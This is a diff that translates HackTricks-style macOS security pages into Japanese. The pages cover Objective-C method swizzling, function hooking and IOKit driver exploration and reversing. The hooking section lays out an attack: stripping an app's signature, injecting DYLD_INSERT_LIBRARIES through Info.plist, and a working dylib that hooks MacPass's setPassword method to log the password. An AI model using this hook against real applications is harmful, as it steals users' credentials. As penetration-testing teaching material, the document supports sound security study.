+次の例のように、メソッドの情報(名前、パラメータの数、アドレスなど)にアクセスすることが可能です: ```objectivec // gcc -framework Foundation test.m -o test @@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p #import int main() { - // Get class of the variable - NSString* str = @"This is an example"; - Class strClass = [str class]; - NSLog(@"str's Class name: %s", class_getName(strClass)); +// Get class of the variable +NSString* str = @"This is an example"; +Class strClass = [str class]; +NSLog(@"str's Class name: %s", class_getName(strClass)); - // Get parent class of a class - Class strSuper = class_getSuperclass(strClass); - NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); +// Get parent class of a class +Class strSuper = class_getSuperclass(strClass); +NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); - // Get information about a method - SEL sel = @selector(length); - NSLog(@"Selector name: %@", NSStringFromSelector(sel)); - Method m = class_getInstanceMethod(strClass,sel); - NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); - NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); +// Get information about a method +SEL sel = @selector(length); +NSLog(@"Selector name: %@", NSStringFromSelector(sel)); +Method m = class_getInstanceMethod(strClass,sel); +NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); +NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); - // Iterate through the class hierarchy - NSLog(@"Listing methods:"); - Class currentClass = strClass; - while (currentClass != NULL) { - unsigned int inheritedMethodCount = 0; - Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); +// Iterate through the class hierarchy +NSLog(@"Listing methods:"); +Class currentClass = strClass; +while (currentClass != NULL) { +unsigned int inheritedMethodCount = 0; +Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); - NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); +NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); - for (unsigned int i = 0; i < inheritedMethodCount; i++) { - Method method = inheritedMethods[i]; - SEL selector = method_getName(method); - const char* methodName = sel_getName(selector); - unsigned long address = (unsigned long)method_getImplementation(m); - NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); - } +for (unsigned int i = 0; i < inheritedMethodCount; i++) { +Method method = inheritedMethods[i]; +SEL selector = method_getName(method); +const char* methodName = sel_getName(selector); +unsigned long address = (unsigned long)method_getImplementation(m); +NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); +} - // Free the memory allocated by class_copyMethodList - free(inheritedMethods); - currentClass = class_getSuperclass(currentClass); - } +// Free the memory allocated by class_copyMethodList +free(inheritedMethods); +currentClass = class_getSuperclass(currentClass); +} - // Other ways to call uppercaseString method - if([str respondsToSelector:@selector(uppercaseString)]) { - NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; - NSLog(@"Uppercase string: %@", uppercaseString); - } +// Other ways to call uppercaseString method +if([str respondsToSelector:@selector(uppercaseString)]) { +NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; +NSLog(@"Uppercase string: %@", uppercaseString); +} - // Using objc_msgSend directly - NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); - NSLog(@"Uppercase string: %@", uppercaseString2); +// Using objc_msgSend directly +NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); +NSLog(@"Uppercase string: %@", uppercaseString2); - // Calling the address directly - IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address - NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp - NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method - NSLog(@"Uppercase string: %@", uppercaseString3); +// Calling the address directly +IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address +NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp +NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method +NSLog(@"Uppercase string: %@", uppercaseString3); - return 0; +return 0; } ``` +### メソッドスワッピングと method_exchangeImplementations -### Method Swizzling with method_exchangeImplementations - -The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**. +関数 **`method_exchangeImplementations`** は **一つの関数の実装のアドレスを他の関数に変更する** ことを可能にします。 > [!CAUTION] -> So when a function is called what is **executed is the other one**. - +> したがって、関数が呼び出されると **実行されるのは別の関数です**。 ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str @@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original method - return [self swizzledSubstringFromIndex:from]; +// Call the original method +return [self swizzledSubstringFromIndex:from]; } @end int main(int argc, const char * argv[]) { - // Perform method swizzling - Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); - Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); - method_exchangeImplementations(originalMethod, swizzledMethod); +// Perform method swizzling +Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); +Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); +method_exchangeImplementations(originalMethod, swizzledMethod); - // We changed the address of one method for the other - // Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex - // And when swizzledSubstringFromIndex is called, substringFromIndex is really colled +// We changed the address of one method for the other +// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex +// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - return 0; +return 0; } ``` - > [!WARNING] -> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running. +> この場合、**正当な**メソッドの**実装コード**が**メソッド名**を**検証**すると、このスウィズリングを**検出**し、実行を防ぐことができます。 > -> The following technique doesn't have this restriction. +> 次の技術にはこの制限はありません。 -### Method Swizzling with method_setImplementation +### method_setImplementationによるメソッドスウィズリング -The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**. - -Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address. +前の形式は奇妙です。なぜなら、2つのメソッドの実装を互いに変更しているからです。**`method_setImplementation`**関数を使用すると、**あるメソッドの実装を別のメソッドに変更**できます。 +新しい実装から元の実装を呼び出す予定がある場合は、上書きする前に**元の実装のアドレスを保存する**ことを忘れないでください。後でそのアドレスを見つけるのは非常に複雑になります。 ```objectivec #import #import @@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL; @implementation NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original implementation using objc_msgSendSuper - return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); +// Call the original implementation using objc_msgSendSuper +return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); } @end int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get the class of the target method - Class stringClass = [NSString class]; +@autoreleasepool { +// Get the class of the target method +Class stringClass = [NSString class]; - // Get the swizzled and original methods - Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); +// Get the swizzled and original methods +Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); - // Get the function pointer to the swizzled method's implementation - IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); +// Get the function pointer to the swizzled method's implementation +IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); - // Swap the implementations - // It return the now overwritten implementation of the original method to store it - original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); +// Swap the implementations +// It return the now overwritten implementation of the original method to store it +original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - // Set the original implementation back - method_setImplementation(originalMethod, original_substringFromIndex); +// Set the original implementation back +method_setImplementation(originalMethod, original_substringFromIndex); - return 0; - } +return 0; +} } ``` +## フッキング攻撃の方法論 -## Hooking Attack Methodology +このページでは、関数をフックするさまざまな方法について説明しました。しかし、これらは**攻撃のためにプロセス内でコードを実行する**ことを含んでいました。 -In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**. +それを行うための最も簡単な技術は、[環境変数を介してDyldを注入するか、ハイジャックすること](../macos-dyld-hijacking-and-dyld_insert_libraries.md)です。しかし、これも[タスクポートを介したDylibプロセス注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)によって行うことができると思います。 -In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). +ただし、両方のオプションは**保護されていない**バイナリ/プロセスに**制限**されています。各技術を確認して、制限について詳しく学んでください。 -However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations. - -However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass. - -So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like: +ただし、関数フッキング攻撃は非常に特定的であり、攻撃者は**プロセス内から機密情報を盗む**ためにこれを行います(そうでなければ、プロセス注入攻撃を行うだけです)。この機密情報は、MacPassなどのユーザーがダウンロードしたアプリに存在する可能性があります。 +したがって、攻撃者のベクターは、脆弱性を見つけるか、アプリケーションの署名を剥がし、アプリケーションのInfo.plistを介して**`DYLD_INSERT_LIBRARIES`**環境変数を注入し、次のようなものを追加することになります: ```xml LSEnvironment - DYLD_INSERT_LIBRARIES - /Applications/Application.app/Contents/malicious.dylib +DYLD_INSERT_LIBRARIES +/Applications/Application.app/Contents/malicious.dylib ``` - -and then **re-register** the application: - +そして、アプリケーションを**再登録**します: ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` - -Add in that library the hooking code to exfiltrate the information: Passwords, messages... +そのライブラリに情報を抽出するためのフックコードを追加します: パスワード、メッセージ... > [!CAUTION] -> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore. - -#### Library example +> 新しいバージョンのmacOSでは、アプリケーションバイナリの**署名を削除**し、以前に実行されていた場合、macOSは**アプリケーションを実行しなくなります**。 +#### ライブラリの例 ```objectivec // gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib @@ -331,27 +312,26 @@ static IMP real_setPassword = NULL; static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) { - // Function that will log the password and call the original setPassword(pass, file_path) method - NSLog(@"[+] Password is: %@", password); +// Function that will log the password and call the original setPassword(pass, file_path) method +NSLog(@"[+] Password is: %@", password); - // After logging the password call the original method so nothing breaks. - return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); +// After logging the password call the original method so nothing breaks. +return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); } // Library constructor to execute __attribute__((constructor)) static void customConstructor(int argc, const char **argv) { - // Get the real method address to not lose it - Class classMPDocument = NSClassFromString(@"MPDocument"); - Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); +// Get the real method address to not lose it +Class classMPDocument = NSClassFromString(@"MPDocument"); +Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); - // Make the original method setPassword call the fake implementation one - IMP fake_IMP = (IMP)custom_setPassword; - real_setPassword = method_setImplementation(real_Method, fake_IMP); +// Make the original method setPassword call the fake implementation one +IMP fake_IMP = (IMP)custom_setPassword; +real_setPassword = method_setImplementation(real_Method, fake_IMP); } ``` - -## References +## 参考文献 - [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index 5381cb0d0..e1f226d9f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向**デバイスドライバーフレームワーク**であり、**動的にロードされるデバイスドライバー**を処理します。これにより、さまざまなハードウェアをサポートするために、モジュラーコードをカーネルにオンザフライで追加できます。 -IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**. +IOKitドライバは基本的に**カーネルから関数をエクスポート**します。これらの関数パラメータの**型**は**事前定義されており**、検証されます。さらに、XPCと同様に、IOKitは**Machメッセージの上にある別のレイヤー**です。 -**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). +**IOKit XNUカーネルコード**は、Appleによってオープンソース化されており、[https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit)で入手できます。さらに、ユーザースペースのIOKitコンポーネントもオープンソースです[https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。 -However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.** - -It's written in **C++**. You can get demangled C++ symbols with: +ただし、**IOKitドライバは**オープンソースではありません。それでも、時折、ドライバのリリースにはデバッグを容易にするシンボルが付属することがあります。ファームウェアから[**ドライバ拡張を取得する方法はこちら**](./#ipsw)**を確認してください。** +これは**C++**で書かれています。デマングルされたC++シンボルを取得するには、次のコマンドを使用できます: ```bash # Get demangled symbols nm -C com.apple.driver.AppleJPEGDriver @@ -23,210 +22,193 @@ c++filt __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - > [!CAUTION] -> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with. +> IOKit **公開された関数**は、クライアントが関数を呼び出そうとする際に**追加のセキュリティチェック**を実行する可能性がありますが、アプリは通常、IOKit関数と対話できる**サンドボックス**によって**制限**されています。 -## Drivers +## ドライバー -In macOS they are located in: +macOSでは、次の場所にあります: - **`/System/Library/Extensions`** - - KEXT files built into the OS X operating system. +- OS Xオペレーティングシステムに組み込まれたKEXTファイル。 - **`/Library/Extensions`** - - KEXT files installed by 3rd party software +- サードパーティソフトウェアによってインストールされたKEXTファイル -In iOS they are located in: +iOSでは、次の場所にあります: - **`/System/Library/Extensions`** - ```bash #Use kextstat to print the loaded drivers kextstat Executing: /usr/bin/kmutil showloaded No variant specified, falling back to release Index Refs Address Size Wired Name (Version) UUID - 1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> - 10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> +1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> +10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> ``` +9までのリストされたドライバーは**アドレス0にロードされています**。これは、それらが実際のドライバーではなく、**カーネルの一部であり、アンロードできないことを意味します**。 -Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**. - -In order to find specific extensions you can use: - +特定の拡張機能を見つけるには、次のようにします: ```bash kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id kextfind -bundle-id -substring IOR #Search by substring in bundle-id ``` - -To load and unload kernel extensions do: - +カーネル拡張をロードおよびアンロードするには、次のようにします: ```bash kextload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily ``` - ## IORegistry -The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other. - -You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS). +**IORegistry**は、macOSおよびiOSのIOKitフレームワークの重要な部分であり、システムのハードウェア構成と状態を表すデータベースとして機能します。これは、システムにロードされたすべてのハードウェアとドライバを表す**階層的なオブジェクトのコレクション**であり、それらの相互関係を示しています。 +IORegistryは、cli **`ioreg`**を使用してコンソールから検査することができ(特にiOSに便利です)。 ```bash ioreg -l #List all ioreg -w 0 #Not cut lines ioreg -p #Check other plane ``` - -You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface. +**`IORegistryExplorer`**を**Xcode Additional Tools**から[**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/)でダウンロードし、**macOS IORegistry**を**グラフィカル**インターフェースを通じて検査できます。
-In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer: +IORegistryExplorerでは、「プレーン」はIORegistry内の異なるオブジェクト間の関係を整理し表示するために使用されます。各プレーンは、特定のタイプの関係またはシステムのハードウェアとドライバ構成の特定のビューを表します。IORegistryExplorerで遭遇する可能性のある一般的なプレーンは以下の通りです: -1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects. -2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI. -3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues. -4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices. -5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system. +1. **IOService Plane**: これは最も一般的なプレーンで、ドライバとナブ(ドライバ間の通信チャネル)を表すサービスオブジェクトを表示します。これらのオブジェクト間のプロバイダ-クライアント関係を示します。 +2. **IODeviceTree Plane**: このプレーンは、デバイスがシステムに接続される物理的な接続を表します。USBやPCIのようなバスを介して接続されたデバイスの階層を視覚化するために使用されることがよくあります。 +3. **IOPower Plane**: 電力管理の観点からオブジェクトとその関係を表示します。どのオブジェクトが他のオブジェクトの電力状態に影響を与えているかを示すことができ、電力関連の問題のデバッグに役立ちます。 +4. **IOUSB Plane**: USBデバイスとその関係に特化しており、USBハブと接続されたデバイスの階層を示します。 +5. **IOAudio Plane**: このプレーンは、システム内のオーディオデバイスとその関係を表すためのものです。 6. ... -## Driver Comm Code Example +## ドライバ通信コードの例 -The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it: - -- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service. -- It then establish a connection calling **`IOServiceOpen`**. -- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned). +以下のコードは、IOKitサービス`"YourServiceNameHere"`に接続し、セレクタ0内の関数を呼び出します。そのために: +- まず**`IOServiceMatching`**と**`IOServiceGetMatchingServices`**を呼び出してサービスを取得します。 +- 次に、**`IOServiceOpen`**を呼び出して接続を確立します。 +- 最後に、セレクタ0を示す**`IOConnectCallScalarMethod`**を使用して関数を呼び出します(セレクタは呼び出したい関数に割り当てられた番号です)。 ```objectivec #import #import int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get a reference to the service using its name - CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); - if (matchingDict == NULL) { - NSLog(@"Failed to create matching dictionary"); - return -1; - } +@autoreleasepool { +// Get a reference to the service using its name +CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); +if (matchingDict == NULL) { +NSLog(@"Failed to create matching dictionary"); +return -1; +} - // Obtain an iterator over all matching services - io_iterator_t iter; - kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to get matching services"); - return -1; - } +// Obtain an iterator over all matching services +io_iterator_t iter; +kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to get matching services"); +return -1; +} - // Get a reference to the first service (assuming it exists) - io_service_t service = IOIteratorNext(iter); - if (!service) { - NSLog(@"No matching service found"); - IOObjectRelease(iter); - return -1; - } +// Get a reference to the first service (assuming it exists) +io_service_t service = IOIteratorNext(iter); +if (!service) { +NSLog(@"No matching service found"); +IOObjectRelease(iter); +return -1; +} - // Open a connection to the service - io_connect_t connect; - kr = IOServiceOpen(service, mach_task_self(), 0, &connect); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to open service"); - IOObjectRelease(service); - IOObjectRelease(iter); - return -1; - } +// Open a connection to the service +io_connect_t connect; +kr = IOServiceOpen(service, mach_task_self(), 0, &connect); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to open service"); +IOObjectRelease(service); +IOObjectRelease(iter); +return -1; +} - // Call a method on the service - // Assume the method has a selector of 0, and takes no arguments - kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to call method"); - } +// Call a method on the service +// Assume the method has a selector of 0, and takes no arguments +kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to call method"); +} - // Cleanup - IOServiceClose(connect); - IOObjectRelease(service); - IOObjectRelease(iter); - } - return 0; +// Cleanup +IOServiceClose(connect); +IOObjectRelease(service); +IOObjectRelease(iter); +} +return 0; } ``` +他にも **`IOConnectCallScalarMethod`** の他に **`IOConnectCallMethod`** や **`IOConnectCallStructMethod`** などの IOKit 関数を呼び出すために使用できる関数があります。 -There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... +## ドライバエントリポイントのリバースエンジニアリング -## Reversing driver entrypoint +これらは例えば [**ファームウェアイメージ (ipsw)**](./#ipsw) から取得できます。その後、お気に入りのデコンパイラにロードします。 -You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler. - -You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function: +**`externalMethod`** 関数のデコンパイルを開始できます。これは呼び出しを受け取り、正しい関数を呼び出すドライバ関数です:
-That awful call demagled means: - +そのひどい呼び出しのデマグルは意味します: ```cpp IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Note how in the previous definition the **`self`** param is missed, the good definition would be: - +前の定義では**`self`**パラメータが欠けていることに注意してください。良い定義は次のようになります: ```cpp IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - -Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388): - +実際の定義は[https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388)で見つけることができます: ```cpp IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments, - const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, - OSObject * target, void * reference) +const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, +OSObject * target, void * reference) ``` - -With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types: +この情報を使って、Ctrl+Right -> `Edit function signature` を再記述し、既知の型を設定できます:
-The new decompiled code will look like: +新しいデコンパイルされたコードは次のようになります:
-For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it: +次のステップでは、**`IOExternalMethodDispatch2022`** 構造体を定義する必要があります。これはオープンソースで、[https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176) で確認できます。これを定義できます:
-Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data: +今、`(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` に従って、多くのデータが見えます:
-Change the Data Type to **`IOExternalMethodDispatch2022:`** +データ型を **`IOExternalMethodDispatch2022:`** に変更します:
-after the change: +変更後:
-And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements: +ここに、**7つの要素の配列**があることがわかります(最終的なデコンパイルコードを確認してください)。7つの要素の配列を作成するためにクリックします:
-After the array is created you can see all the exported functions: +配列が作成されると、すべてのエクスポートされた関数が表示されます:
